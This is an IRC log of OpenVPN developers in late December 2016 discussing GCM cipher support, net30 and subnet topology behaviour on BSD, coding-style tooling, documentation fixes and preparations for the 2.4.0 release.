AES-256-GCM should work 08:04 <@syzzer> what is the output of --show-cipers ? 08:22 <@d12fk> dazo: can't you update the year only if you change things with the code? no (c) expert here 08:37 < ordex> copyright year should not depend on having modified it or not 08:37 < ordex> it == the file 09:01 <@d12fk> anyway if it is legal i don't care, which translates to: yeah do it. =) 09:27 <@plaisthos> krzee: did you manage to have somehow a opensl version without gcm support? 09:35 <@syzzer> plaisthos: almost can't be, the version prints the [AEAD] tag 09:35 <@syzzer> so I'm a bit confused what's happening there 09:36 <@plaisthos> syzzer: oh right 09:36 <@plaisthos> is it AES-256-GCM or AES-GCM-256? 09:37 <@plaisthos> hm no that is also not the mistake 10:57 <+krzee> plaisthos: it belongs to BtbN in #openvpn 10:58 <+krzee> he seems to be using a shared key tho 10:58 <+krzee> so maybe gcm is only available with certs? 10:58 <@syzzer> krzee: indeed it is! 10:59 <@syzzer> otherwise we can't ensure IV uniqueness, and that would terribly break the AES-CTR part of AES-GCM 10:59 <+krzee> ahh good to know thanks 10:59 <@syzzer> he van still use the p2p setup, just needs to add tls-server and tls-client 14:47 < SviMik> "NDIS 6 (tap-windows6, version 9.21.x) for Windows and above." 14:47 < SviMik> (c) https://openvpn.net/index.php/open-source/downloads.html 14:47 <@vpnHelper> Title: Downloads (at openvpn.net) 14:48 < SviMik> who can tell me, what is above Windows? :D 15:02 < Thermi> Vista. 15:03 < Thermi> SviMik: ^ 15:14 <@syzzer> hehe 15:14 <@syzzer> mattock: ^^ 16:06 < slypknot> https://is.gd/kZk4Dy 16:06 <@vpnHelper> Title: Let Me DuckDuckGo That For You - LMDDGTFY (at is.gd) --- Day changed Wed Dec 21 2016 01:28 <@mattock> SviMik: any other OS? :P 01:28 <@mattock> I'll fix it 01:30 <@mattock> fixed 02:16 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 02:18 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 02:18 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 06:07 <@vpnHelper> RSS Update - gitrepo: dev-tools: Added script for updating copyright years in files <https://github.com/OpenVPN/openvpn/commit/da8f11f895bb78174d4412d82a6992c398da495a> 08:24 <@mattock> krzee: 2.4 changelogs fixed 08:24 <@mattock> I also reordered the man-page and changelog menu items, so that they are sorted by version number 08:24 <@mattock> ordering used to be semi-random 08:37 <@plaisthos> I order them in the Changes.rst by my perceived importantance :P 09:10 <@vpnHelper> RSS Update - tickets: #796: reneg-bytes not disabled per default as stated in docs <https://community.openvpn.net/openvpn/ticket/796> 09:54 <@cron2> uh 09:54 <@cron2> syzzer: are these entries in Changes.rst correct (for 2.3)? 09:54 <@cron2> - OpenVPN will complain loudly about ciphers with 128-bits block sizes or less 09:54 <@cron2> - OpenVPN will by default re-negotiate the tunnel after 64MB when used with 09:54 <@cron2> ciphers using cipher blocks of 128-bits or less 09:55 <@cron2> I though it's "64-bits or less" (or "less than 128 bits")? 09:55 <@cron2> ... which is what it says in the "Version 2.3.13" block... "less than 128 bits" 11:06 <@dazo> src/openvpn/crypto.c: init_key_ctx() 11:06 <@dazo> + if (cipher_kt_block_size(kt->cipher) < 128/8) 11:06 <@dazo> + msg (M_WARN, "WARNING: this cipher's block size is less than 128 bit " 11:06 <@dazo> cron2: ^^^ 11:10 <@dazo> cron2: those lines should state less than 128-bits block sizes 11:13 <@vpnHelper> RSS Update - tickets: #797: reneg-bytes not disabled per default as stated in docs <https://community.openvpn.net/openvpn/ticket/797> 11:54 <@cron2> dazo: that matches my understanding, so it's worth keeping #796 open to fix documentation 11:57 <@dazo> cron2: I can fix the man page ... and will double check the Changes.rst file too ... 12:03 <@dazo> cron2: syzzer: My quick proposal ... https://paste.fedoraproject.org/510597/23429351/ 12:05 * dazo updates it ... need to have the HIGHLY DISCOURAGED part 12:08 <@dazo> Updated version: https://paste.fedoraproject.org/510599/82343211/ 12:08 <@dazo> Once you've reviewed it, I'll send it to the ML for official ACK 12:10 <@dazo> (this patch is against release/2.3) 12:11 <@cron2> wording works for me, but it seems to introduce spurious changes to not actually changed lines - one extra blank in Changes.rst, one "or" jumped to the next line 12:13 <@dazo> I did some line length > 80 fixes, as syzzer would most likely complain about that 12:14 <@dazo> the extra line, I presume you mean line 43, is intentional 12:15 <@dazo> otherwise, I don't see any additional extra lines in Changes.rst 12:19 <@cron2> 22/23 has an extra blank 12:19 <@cron2> not extra line 12:19 <@cron2> (at least that's the only change I could spot) 12:20 <@dazo> no, not blank ... it's a spelling error ... explictly -> explictly 12:20 <@dazo> duh 12:20 <@dazo> no, not blank ... it's a spelling error ... explictly -> explicitly 12:32 <@cron2> ah, thanks :-) chrome is formatting this funnily so it looks like an extra blank 12:32 <@cron2> stupid browser 12:34 < m-a> https://github.com/opnsense/core/issues/1314 12:34 <@vpnHelper> Title: OpenVPN "topology net30" broken in version 2.3.14 · Issue #1314 · opnsense/core · GitHub (at github.com) 12:34 < m-a> people claim this were a regression over 2.3.13, so might also affect 2.4.0. I'm trying to talk people into testing 2.4.0-rc2. 12:35 <@cron2> uh 12:36 * cron2 was not aware of net30 ever being broken on FreeBSD 12:36 < m-a> but do note we have been fixing for "topology subnet" whilst the report is about topology "net30" 12:36 * m-a neither and the bug report itself is bare of details 12:36 < m-a> just a "forum" link, where the sheer word "forum" annoys the crap out of me 12:37 <@cron2> the "top subnet" fix was tested on everything (7.4-RELEASE up to 11.0-RELEASE), so even if it mentions "11" it won't break earlier versions (top subnet)... I don't think I touched top net30 in a long while 12:38 < m-a> I would not yet rule out that OPNsense does strange things, like patching things on their own. 12:40 <@cron2> net30 should just do the classic "my ip, your ip" dance - tun.c line 1150 (release/2.3) 12:40 < m-a> I'm just trying it 12:40 < m-a> uh 12:40 < m-a> it sets up the connection but doesn't respond to ping 12:40 <@cron2> this is code that wasn't touched since 2008... 12:40 <@cron2> what are you pinging? 12:41 <@cron2> net30 is a bit strange in that regards, it hands out two addresses for "you" and "me", but the server side does not really exist 12:41 < m-a> oh heck 12:41 < m-a> $ traceroute 172.27.0.5 12:41 < m-a> traceroute to 172.27.0.5 (172.27.0.5), 30 hops max, 60 byte packets 12:41 < m-a> 1 172.27.0.1 (172.27.0.1) 38.136 ms 39.271 ms 40.956 ms 12:41 <@cron2> that is "normal" 12:41 < m-a> nope 12:42 <@cron2> the .5 address is not existing on the server 12:42 < m-a> it should show !H or something 12:42 < m-a> and ping should also report ICMP 12:42 <@cron2> well, it might be considered a design bug, but that is not a new thing - let me explain 12:42 < m-a> Please don't. 12:43 < m-a> The server pushes the wrong address to the client. 12:43 <@cron2> the server configures .1 and .2 on the "server tun" 12:43 < m-a> Server side: 12:43 < m-a> inet 172.27.0.1 --> 172.27.0.2 netmask 0xffffffff 12:43 <@cron2> and then pushes .6+.5 to the client 12:43 < m-a> yeah. 12:43 < m-a> that can't work 12:44 <@cron2> define "work". If you mean "ping .5", yes, it cannot work. If you mean "install routes to .5", it will work (as there is no ARP or anything so the client never notices that .5 is not existing) 12:44 < m-a> shouldn't the server install 172.27.0.5 as alias on the tun0 interface in that situation? 12:45 <@cron2> it would have to add an alias for every single client connection 12:45 < m-a> obviously, yes 12:45 < m-a> net30 is wasteful 12:45 <@cron2> net30 is a silly relict from the past :-) (and the iOS client does not support that at all anymore) 12:46 < m-a> should we tell the OPNSense guys to use topology subnet instead? 12:46 * cron2 points out that this code is way older than his involvement in OpenVPN 12:46 <@cron2> topology subnet has been extensively well tested across all the BSDs, and brings a pingable server address - so, yes. 12:47 < m-a> or should the server push its real .1 address as the client's P2P address? 12:47 <@cron2> (but I still wonder what this 1314 issue is about - regarding "it does not work", there should be no difference between 2.3.13 and 2.3.14) 12:47 <@cron2> the reason net30 exists is that the windows tap driver needs a subnet, with "you" and "me" being in a real subnet 12:48 <@cron2> --topology p2p will just give each client their own IP address, and push "ifconfig $yourip .1" 12:48 < m-a> Franco Fichter wrote that he "reset the following patches" for their internal 2.3.14_1: 12:48 < m-a> https://github.com/OpenVPN/openvpn/commit/446ef5bda 12:48 < m-a> https://github.com/OpenVPN/openvpn/commit/ceac73b04 12:48 <@vpnHelper> Title: Repair topology subnet on FreeBSD 11 · OpenVPN/openvpn@446ef5b · GitHub (at github.com) 12:48 <@vpnHelper> Title: Repair topology subnet on OpenBSD · OpenVPN/openvpn@ceac73b · GitHub (at github.com) 12:50 < m-a> IOW they are reinstating the 2.3.13 world order on their OPNSense (based on FreeBSD 10.x, so they don't need the fix, strictly speaking) 12:51 < m-a> I am scratching my head over that. 12:51 <@cron2> yeah 12:52 < m-a> that was 9 commits before the v2.3.14 tag 12:52 <@cron2> I double-checked - 446ef5bda doesn't touch the non-subnet cases at all 12:52 <@cron2> (and buildbot is now pushing a combination of options that triggered the original bug across all FreeBSD and OpenBSD versions, so I know the stuff works) 12:56 < m-a> hmmm... would Opnsense set up tap or tun? 12:58 <@cron2> tap will always fall into the "!tun && !TOP_SUBNET" case, which will configure a normal ethernet-style interface 12:58 <@cron2> "ifconfig tap0 $me netmask 255.255.255.0 up" 12:59 < m-a> I have requested route tables and interface configurations from server and client end and that they run without any code changes, in a new comment to https://github.com/opnsense/core/issues/1314 12:59 <@vpnHelper> Title: OpenVPN "topology net30" broken in version 2.3.14 · Issue #1314 · opnsense/core · GitHub (at github.com) 13:01 <@cron2> *watch* 13:03 <@cron2> aw... I think "fraenki" might actually be an ex-colleague, living just around the corner :-) 13:03 < m-a> the world is too small :-) 13:05 <@cron2> indeed 13:05 <@syzzer> dazo: man fix looks good to me :) 14:02 <@cron2> heh, installing proper routers... 14:02 <@cron2> https://www.sunet.se/blogg/core-network-done-last-update-before-summer/ 14:02 <@vpnHelper> Title: Core network done! Last update before summer. | SUNET (at www.sunet.se) 14:17 <@plaisthos> cron2: why does ios client not support it? For the client it is the same as subnet, that sounds stupid 14:18 <@syzzer> dazo: master and release/2.4 need different patches? 14:19 <@dazo> actually, no ... but as we have branched out 14:19 <@syzzer> if possible, we just cherry-pick, right? 14:20 <@dazo> it could be cherry-picked though 14:24 <@cron2> plaisthos: it actually isn't, the way ifconfig is pushed 14:24 <@cron2> net30 and ptp push "ifconfig $yourip $serverip" 14:24 <@plaisthos> ah 14:24 <@cron2> tap and subnet push "ifconfig $yourip $netmask" 14:25 <@plaisthos> oh okay 14:25 <@cron2> net30 and ptp really should die... 14:25 <@cron2> (I think James might have actually added net30 support at some point, transforming it into a real /30 subnet) 14:25 <@plaisthos> ptp might still be useful 14:25 <@plaisthos> I do the same on ANdroid 14:26 <@plaisthos> I need IP subnetmask 14:26 <@dazo> ptp is kind of reasonable ... but net30 is pointless 14:26 <@cron2> since ptp does not work on windows, it's semi-useless in most scenarios 14:27 <@cron2> does it work on android? 14:29 <@dazo> for router-to-router configurations, ptp works fine ... but that's also very seldom Windows 14:29 <@cron2> true, that 14:29 <@cron2> (on both regards :) ) 14:30 <@plaisthos> cron2: ptp get converted to ip/32 14:30 <@cron2> if the VPN API groks a /32, good enough :) 14:30 <@plaisthos> unless gateway+ip form 31, then it is /31 14:30 <@plaisthos> there is no nexthop on android anyway 14:31 <@plaisthos> I don't think I add a /32 route for the gateway ip 14:31 < Thermi> I want to say, that you can "fix" the situation by using a fake gateway on Windows, like I did when implementing support for tap-windows6 in strongSwan. 14:32 <@plaisthos> Thermi: not needed on android 14:32 < Thermi> By doing that, you can then install routes for arbitrary subnets over the fake gateway. 14:32 < Thermi> Yes, I know that. 14:32 < Thermi> Just regarding ptp. 14:32 <@plaisthos> ah okay sure 14:32 <@plaisthos> but at this point everyone has accepted to use subnet :) 14:32 < Thermi> Yep. 15:12 <@vpnHelper> RSS Update - gitrepo: Bump master to version 2.5_git <https://github.com/OpenVPN/openvpn/commit/e1dd49a38875909bda218c0c3f772e791681ac36> || Update copyrights <https://github.com/OpenVPN/openvpn/commit/58716979640b5d8850b39820f91da616964398cc> 15:32 <@syzzer> dazo: oh, yuk, uncrustify wants to align function parameters :/ 15:32 <@syzzer> I can tell it to just indent them instead, but can't tell it to ignore them... 15:33 <@syzzer> in quite some cases aligning the params is just ugly, because the function name is a bit long 15:35 <@syzzer> so I'm afraid we simply can't keep uncrustify and me happy at the same time... 15:37 <@dazo> We should really aim for having some way to have automation to this reformatting ... that will make it so much easier to ensure new code complies with the coding style 15:38 <@dazo> otherwise, we're ending up with needing a massive reformatting in not too far future ... it's just too easy to miss a few things here and there 15:39 <@dazo> I prefer consistency above the alternatives, even though the automated consistency isn't always what our own eyes wants to see 15:42 <@syzzer> hm, I don't think I agree there 15:42 <@syzzer> we have a style now, and it's used consistently, which makes it a lot easier for contributers to adhere to 15:42 <@syzzer> and for us to point at if a patch disobeys it 15:42 <@syzzer> I simply don't think a formatting tool can be always right 15:44 <@syzzer> code readability goes above all, even if that means making the tool unhappy 15:48 * cron2 is with syzzer here 15:48 <@dazo> syzzer: perhaps you should have a look at the scripts/checkpatch.pl in the Linux kernel ... they do exactly what you say isn't doable 15:49 <@syzzer> I don't say it isn't doable, I say I don't agree with it 15:50 <@dazo> but the Linux kernel have a sane coding style policy, and a coding style they all agree too ... and they have a tool to ensure contributors adhere to it 15:50 <@dazo> (well, contributors *have* to agree to the codingstyle) 15:51 <@dazo> and I've seen people being slammed for not running patches through checkpatch 15:51 <@cron2> we do agree to the coding style, but the tool doesn't adhere to it in all cases 15:51 <@cron2> and the coding style isn't defined by "what makes the tool happy" 15:51 <@syzzer> our coding style is 'wrap as makes sense in this place', but that is not something uncrustify supports 15:51 <@dazo> there I disagree ... if we have used a coding style tool to agree to a style we agreed to before running it on the complete tree ... then we are moving away from that agreement by not adhering to its changes 15:52 <@dazo> I need to head for the train anyhow now 15:52 <@syzzer> I don't recall agreeing to something like that 15:52 <@syzzer> just to let's use a tool to get some consisentcy, and from there move forward 15:53 <@cron2> we agreed on a *style*, and on a tool to get there - and we clearly agreed on "more work will be needed after the tool is done" 15:53 <@cron2> I certainly didn't agree on "the output of the tool is the unchangeable truth" 15:54 <@syzzer> but, go catch your train, we'll get back to this later :) 15:55 <@plaisthos> syzzer: that propose a patch to uncrustify that adds your style and then propose to dazo a new flag 15:55 <@plaisthos> *ducks* 15:55 <@syzzer> plaisthos: yeah, you better duck :p 15:56 <@syzzer> but I think I understand that uncrustify can't support this - they'd have to try to detect what style was used to dynamically decide how to do the wrapping... 15:57 <@syzzer> so an 'ignore' here would be really hard together with 'code_width=something' 21:34 < ordex> dazo: syzzer: my 2 cents: in this case it seems the problem is not the tool, but the fact that you are not agreeing on a codestyle rule. sometimes better to do a, sometimes better to do b...this is what creates the problem (and will lead to confusion for new developers imho). 21:34 < ordex> dazo: syzzer: in the linux kernel sometimes the code is changed and functions are renamed, in order to have the final result complying with the codestyle 21:35 < ordex> i.e. if the function name is too long to be happily invoked and align its parameters, then rename the function or change the code so that you can happily invoke it without violating the codestyle. seems unsane, but the result is consistent and readable as well 21:35 < ordex> just my 2 cents, as I said :) --- Day changed Thu Dec 22 2016 01:51 <@cron2> we're not the linux kernel, we do not have zillions of contributors, and we do not use 8-spaces-indent either - so this is not directly comparable 01:56 < ordex> yup, that's true 01:57 < ordex> although, that's a way to make the style more deterministic 01:57 < ordex> but yeah, just sharing another point of view :) 02:14 <@cron2> http://www.ranum.com/security/computer_security/editorials/dumb/ 02:14 <@vpnHelper> Title: The Six Dumbest Ideas in Computer Security (at www.ranum.com) 02:14 <@cron2> interesting read 02:16 < ordex> cron2: in case you'd like to give it a try: I have committed a vim script for the openvpn codestyle here https://github.com/ordex/openvpn/tree/openvpn-vim 02:16 <@vpnHelper> Title: GitHub - ordex/openvpn at openvpn-vim (at github.com) 02:16 < ordex> still something to tune I believe, but it's helping me a bit 05:37 <@plaisthos> now I need a elips style for openvpn as well 05:45 <@cron2> elipstic curve coding 06:12 <@plaisthos> cron2: I prefer emacs lisp that fits better in my editor config 06:12 <@plaisthos> :) 06:18 <@cron2> a, lisp. Wasn't so sure if "elips" is "eclipse" or "elisp" :) 06:26 <@plaisthos> but more realisticy I need a Clion configuration 06:26 <@plaisthos> since I use that for OpenVPN development nowadays 06:26 <@plaisthos> with a crude cmake configuration that just works for me 06:52 < ordex> clion .. mmhh never heard of it 06:52 * ordex checks 06:52 < ordex> oh, it's not free (?) 07:08 <@plaisthos> no 07:08 <@plaisthos> it is free if you are in academia 07:08 < ordex> oh ok 07:08 <@plaisthos> and I think the early access preview is free too 07:08 <@plaisthos> there is a 30 day test version 07:08 <@plaisthos> it is another of Jetbrains products 07:10 <@plaisthos> I used Xcode in the past for C/C++ development but Clion has the advantage of being the same IDE as Android Studio (IntelliJ based) and PyCharm 07:21 < ordex> mh ok..I tried androidstudio once 07:21 < ordex> but felt quite heavy to me 07:21 < ordex> that's why I stick to vim :P 07:23 <@plaisthos> :) 12:24 -!- Kelticfox_m is now known as Kelticfox 13:02 <@syzzer> ordex: actually, the kernel style does what I proposed it seams: "Descendants are always substantially shorter than the parent and are placed substantially to the right.". At least I read that as "indent as you please, just make sure it looks like an indent". 13:02 <@syzzer> *that* is something I can agree to :) 13:27 < m-a> cron2: syzzer: regarding openvpn_xorpatch or Tunnelblick's patch or whatever, it's not quite clear to me what the authoritative version is. I took the version from OPNsense that Franco had updated for the new 2.4-rc2 formatting. 13:28 < m-a> cron2 pointed me to https://www.mail-archive.com/openvpn-users@lists.sourceforge.net/msg03396.html so it appears that https://github.com/Tunnelblick/Tunnelblick/tree/master/third_party/sources/openvpn/openvpn-2.3.14/patches or https://github.com/Tunnelblick/Tunnelblick/tree/master/third_party/sources/openvpn/openvpn-2.4_rc1/patches where then the place to look for the up-to-date-versions. 13:28 <@vpnHelper> Title: Re: [Openvpn-users] Question about tls-crypt and port 443 firewall ducking (at www.mail-archive.com) 13:29 < m-a> vpnHelper: shut up 13:29 < m-a> (stupid bot) 13:29 <@syzzer> m-a: I don't know either... Just noticed this alarming text on the tunnelblick page and thought you'd want to know :p 13:29 < m-a> syzzer: much appreciated, dank je wel! 13:30 < m-a> This is what I'm using in FreeBSD's upstream port: https://svnweb.freebsd.org/ports/head/security/openvpn/files/extra-tunnelblick-openvpn_xorpatch?view=log 13:30 <@vpnHelper> Title: [ports] Log of /head/security/openvpn/files/extra-tunnelblick-openvpn_xorpatch (at svnweb.freebsd.org) 13:30 <@syzzer> heh, you're welcome! 13:30 < m-a> I've added it in November 2015 at Franco's request 13:37 < m-a> I've read through the patch I'm using in FreeBSD and the upstream (Tunnelblick) set of 5 patches against openvpn 2.3.14 and they seem the same in a manual compare, So assuming that Tunnelblick has the fixed patch, FreeBSD is also using the new patch. The code would be more readable if they'd used an enum for the xormethod, though. 13:43 < m-a> https://github.com/Tunnelblick/Tunnelblick/issues/349 13:43 <@vpnHelper> Title: maintainability of openvpn_xorpatch · Issue #349 · Tunnelblick/Tunnelblick · GitHub (at github.com) 13:43 < m-a> I've seen worse code than that, though. 16:05 <@plaisthos> sufficient parameter 16:05 <@plaisthos> validation, null pointer dereferences, division by zero errors, and a 16:05 <@plaisthos> buffer overflow." 16:06 <@plaisthos> It is amazing to put so many bugs in a 30 lines patches 16:12 < Thermi> ban the person from programming 16:28 <@plaisthos> at least from security software 17:30 < slypknot> ecrist: mattock: Table './ovpn_forum/phpbb_sessions' is marked as crashed and should be repaired [145] 20:41 < ordex> syzzer: checkpatch (and the maintainers :D) complain if the second line is not aligned to the column after the opening parenthesys. anyway :) no need to do the same 20:59 < ordex> I wonder my I can't verify signatures on the ml .. maybe mutt/gpg gets confused by the footer added by the list (?) 20:59 < ordex> :( --- Day changed Fri Dec 23 2016 05:34 <@cron2> ecrist: are you around? someome mailed on the -users list that the forum is (supposedly) down 05:57 <@mattock> cron2: I'll look into it 06:02 <@mattock> fixed 06:02 <@mattock> fortunately the fix was easy 06:11 < slypknot> mattock: thanks :) 06:12 <@mattock> np 06:12 <@mattock> forums database seems quite flakey 06:13 <@mattock> not sure if that's phpbb pissing its pants or what 06:14 < slypknot> i thought ecrist had an idea what the problem is .. but i guess time is the problem 07:57 <@dazo> syzzer: you around? regarding docs patch ... you had one conditional ACK on 2.3 and one with just comments for master/2.4, should I understand the latter as a conditional ACK? 07:57 * dazo wants to have as much ready for 2.4 release as possible today 13:08 <@syzzer> dazo: oh, I should have conditional-ack'ed the other one too 14:16 <@syzzer> oof, there's some creepy comments in cryptoapi.c... : 14:16 <@syzzer> /* I'm not sure about what we have to fill in in the RSA, trying out stuff... */ 15:46 <+krzee> :O --- Day changed Sat Dec 24 2016 05:42 < ordex> lol 05:42 < ordex> :D 05:54 <@syzzer> hm, does anyone have a clue where the code decided to call link_socket_read() (or not...)/ 05:54 <@syzzer> ? 05:58 < ordex> syzzer: ? src/openvpn/forward.c:731, no? 05:59 <@syzzer> ordex: well, that's where the function is called, but I guess there is some "poll() first, and if data is available, recvmsg()" mechanism hidden in the code 05:59 < ordex> ah ok 05:59 < ordex> got your question now :) 06:00 <@syzzer> I've popped my 'implement recvmmsg()' prototype code from my todo-stack 06:01 <@syzzer> trying to make the patch ready for initial feedback on the list, but I have a gut feeling I'm only reading the n'th packet if the n+1'th packet arrives :p 06:04 <@vpnHelper> RSS Update - gitrepo: docs: Further enhance the documentation related to SWEET32 <https://github.com/OpenVPN/openvpn/commit/a256aee8e70ceb7059b9da69bc3e7cccbd094916> 06:08 <@syzzer> I think event_wait() is where the magic happens 06:09 <@syzzer> had to look for select(), not poll() 07:12 <@syzzer> seems lunch was all I needed, works as expected now :) 07:12 <@cron2> event.c hides select, poll, kqueue, ... in a common "event" thingie 07:21 <@syzzer> yeah, I think I found the right spot for adding an extra 'are there any remaining packets left to process?' call :) 07:22 <@syzzer> I'll send a proof-of-concept patch to the list soon, to solicit some feedback. Both this part of the code as well as handling these APIs is rather new to me, so I expect to have made a number of stupid mistakes :p 07:32 <@syzzer> woops, forgot to remove the commit msgs of the squashed commits. Oh well :') 08:47 <@ecrist> so, there's an update for phpBB, which i suspect involves some fix that allows someone to crash the DB server. 08:47 <@ecrist> I upgraded mysql last week, not sure what keeps happening. 09:41 <+krzee> https://gist.github.com/anonymous/da53dda951b18c33d4a4ac9124b8cbaa 09:41 <@vpnHelper> Title: gist:da53dda951b18c33d4a4ac9124b8cbaa · GitHub (at gist.github.com) 10:09 <@ecrist> hey krzee 10:09 <@ecrist> how goes the technical review? 10:13 <+krzee> good job on chapter 6 10:44 <@ecrist> danke 10:44 <@ecrist> my goal is to turn 5, 8, and 9 in by EOD tomorrow. 10:44 <@ecrist> 5 should make it in before EOD today 10:45 <@ecrist> maybe even 9 10:45 <@ecrist> 1/3 of chapter 9 is the book conclusion, and that's written. 10:45 <@ecrist> I really want this book to be done, though. 12:13 < ordex> ecrist: are you writing a book ? 12:48 <@cron2> about OpenVPN, I'd guess :) 14:23 <+krzee> hes writing "troubleshooting openvpn" 14:23 <+krzee> for packt 14:32 <@ecrist> correct 19:19 <@ecrist> Merry Christmas folks. I wish everyone and their families the best. 19:38 <+krzee> thank you, same to you and the crists 20:22 < slypknot> Cheerz :) 20:24 <@ecrist> krzee: are you all caught up on the tech review now? 20:28 <@ecrist> slypknot: I'd say no. re: email 20:28 <@ecrist> it's an old post, and there are replies. 20:29 <@ecrist> Unless we adopt a more broad pruing protocol, I'd say leave it. 20:29 < slypknot> ok 20:51 < ordex> merry christmas :) 21:22 <@ecrist> Hey ordex. 21:22 <@ecrist> Your question earlier, yes, I'm writing a book. 21:22 <@ecrist> Jan Just Keisjer and I co-authored another last year, Mastering OpenVPN 21:23 <@ecrist> He previously wrote the OpenVPN Cookbook, and is working on a second edition now, I believe. 21:23 <+krzee> ecrist: i need to turn in chapter 6 and 2 questioneers 21:24 <+krzee> but ya im pretty much caught up with what theyve sent 21:24 <+krzee> for some reason they like to send only 1 at a time, i try to get them to send everything they have 21:24 <+krzee> since when i actually sit down and do it, i do all thats pending 21:24 <+krzee> what takes time is actually sitting down to do it lol 21:25 <+krzee> merry christmas and any other holidays that anybody here celebrates! 21:25 <@ecrist> krzee: indeed. this writing has been a bit of a drag. 21:25 <@ecrist> my wife talked me in to it. 21:26 <@ecrist> I'm a bit of a perfectionist, but I hope that's making the chapters read well. 21:30 < ordex> ecrist: oh ok, thanks for the info :) 21:32 <@ecrist> https://www.packtpub.com/networking-and-servers/troubleshooting-openvpn 21:32 <@vpnHelper> Title: Troubleshooting OpenVPN | PACKT Books (at www.packtpub.com) 21:32 <@ecrist> https://www.packtpub.com/networking-and-servers/mastering-openvpn 21:32 <@vpnHelper> Title: Mastering OpenVPN | PACKT Books (at www.packtpub.com) --- Day changed Sun Dec 25 2016 04:09 < ordex> syzzer: thanks for spotting those mistakes - my bad 04:09 < ordex> :) 04:10 <@syzzer> that's what we have a review process for :) 04:19 < ordex> yeah! 04:24 < ordex> I think that the rebase (which basically did lead to a patch rewrite :D) has to be blamed :P 05:03 <@cron2> of course, it's always the rebase to blame, or changes that syzzer introduced :-) 05:03 <@cron2> !blame 05:03 <@vpnHelper> "blame" is (#1) According to Bushmills, it's always krzee's fault, or (#2) According to krzee, it's always dazo's fault, or (#3) and dazo will always blame EugeneKay, Bushmills, ecrist or any other sensible victims in the required moments, or (#4) cron2 says if windows is involved, it's always d12fk's fault, or (#5) if it is crypto blame syzzer and plai for acking 05:04 <@cron2> #5 applies :) 05:08 < ordex> :D 05:08 < ordex> agreed!! 06:40 < slypknot> Would it be possible to have openvpn throw an error message if systemd is being used but --enable-systemd is not ? instead of bombing out .. 06:51 <@cron2> how shall we know systemd is used if we're not compiled with the means to detect systemd? 06:55 < slypknot> just askin .. 07:00 < ordex> cron2: any reason why we use the np() function to print strings somewhere but not everywhere ? 07:00 < ordex> historical reason ? 07:01 < ordex> personally I believe it is not really needed, but I might be wrong 07:01 <@cron2> example? 07:01 * cron2 seriously has no idea 07:01 < ordex> example of where it is used? or example of where it is useless ? 07:01 < ordex> ah ok :D 07:02 < ordex> now I am in ssl_openssl.c 07:02 < ordex> and I see some strings being printed with np(), which just does a null check 07:02 < ordex> but NULL can be printed, no need to check it 07:02 <@cron2> I'm not sure if *all* sprintf() variants handle NULL - that might be the reason 07:03 <@cron2> "historically", C programs would just crash :) 07:03 < ordex> mg, guessed so 07:14 < ordex> !blame 07:14 <@vpnHelper> "blame" is (#1) According to Bushmills, it's always krzee's fault, or (#2) According to krzee, it's always dazo's fault, or (#3) and dazo will always blame EugeneKay, Bushmills, ecrist or any other sensible victims in the required moments, or (#4) cron2 says if windows is involved, it's always d12fk's fault, or (#5) if it is crypto blame syzzer and plai for acking 07:14 < ordex> Ilike this :D 07:50 < ordex> am I wrong or travis-ci is now failing everywhere, not just on macosx 07:50 < ordex> "The command "eval git submodule update --init --recursive" failed. Retrying, 3 of 3." 09:16 <+krzee> lol @ blame 5 10:16 <@plaisthos> what is the point of the inline patch if we have both a bool and a tag inside the options? 10:16 <@plaisthos> is strcmp really so expensive and in a critical path? 10:50 < ordex> plaisthos: what do you mean with: "we have both a bool and a tag inside the options"? 10:50 < ordex> you mean that we still have both members inside the struct ? 10:51 < ordex> personally, I believe it is "cleaner" to perform the strcmp once and carry the result around, rather than performing it every single time, no ? 10:54 <@plaisthos> I men the embedded files still have the [[INLINE] tag in them 10:56 < ordex> ah, mh .. good point: maybe that could be avoided at all and set the bool right away instead of writing the [[INLINE]] thing first (?) 11:32 * ecrist kicks chapter 5 out the door 11:32 * ecrist continues work on chapter 9 11:38 <@plaisthos> ordex: you need also change the file printing function etc. 11:38 <@plaisthos> I don't like duplication of state 21:52 < ordex> plaisthos: I don't like duplication as well 21:52 < ordex> anything particular you are looking at? otherwise Iwill just go through the code again and make sure I beautify these cases --- Log closed Mon Dec 26 00:58:18 2016 --- Log opened Mon Dec 26 00:58:26 2016 00:58 -!- Irssi: #openvpn-devel: Total of 29 nicks [8 ops, 0 halfops, 1 voices, 20 normal] 00:58 -!- mode/#openvpn-devel [+o ecrist_] by ChanServ 00:59 -!- Irssi: Join to #openvpn-devel was synced in 43 secs 01:01 -!- siruf_ is now known as siruf 03:22 <@plaisthos> ordex: hm I am not sure. I have the feeling that this [[INLINE]] tag works better 03:22 <@plaisthos> you will probnably end up with a few print_filename(filename, is_inline) 03:23 <@plaisthos> also there some cases where the filename is printed (for config) that should still print [[INLINE]] instead of the whole file 03:23 < ordex> yap, that I addressed already (not in the patch in the ml) 03:24 < ordex> "<@plaisthos> you will probnably end up with a few print_filename(filename, is_inline)" << this is what happened 03:24 < ordex> :) 03:38 <@plaisthos> did you check if config supports inline? 03:38 <@plaisthos> (that is stupid but might hav e been used) 03:39 <@plaisthos> and <connection>..</conection> might need extra handling 03:43 < ordex> I will check that explicitly 03:43 < ordex> as of now I basically check every use of the INLINE tag and made sure it was converted to the new logic 06:12 <@plaisthos> dumdium :) #define PACKAGE_STRING "OpenVPN 2.5-icsopenvpn" 06:17 <@dazo> heh 06:22 <@vpnHelper> RSS Update - gitrepo: Remove IV_RGI6=1 peer-info signalling. <https://github.com/OpenVPN/openvpn/commit/392c9e47f6418612bc2a4932faf22bb711e65a54> || man: encourage user to read on about --tls-crypt <https://github.com/OpenVPN/openvpn/commit/403dfe1bfdbdf6e5f8abac3401a96852562aec54> || Document that RSA_SIGN can also request TLS 1.2 signatures <https://github.com/OpenVPN/openvpn/commit/1e36b814073c0f56c77e4922cc105f00b8558e7e> 06:24 <@dazo> I'm about to seal the v2.4.0 release ... I'll wait for the final version.m4 update and push until the evening, but will provide a preliminary version to mattock now to run his Windows tests as early as possible 06:24 <@dazo> I do not expect us to do any big code changes now ... cron2 is the only one with a patch for 2.4.0 which changes C code 06:26 * dazo will send out "applied" mails very soonish 06:32 <@plaisthos> wheee! 06:35 <@dazo> I just spotted one more man page updating needed, due to cron2's patch ... patch sent to ML now 06:36 <@dazo> plaisthos: if you're around to do an ACK, I can tackle this instantly 06:38 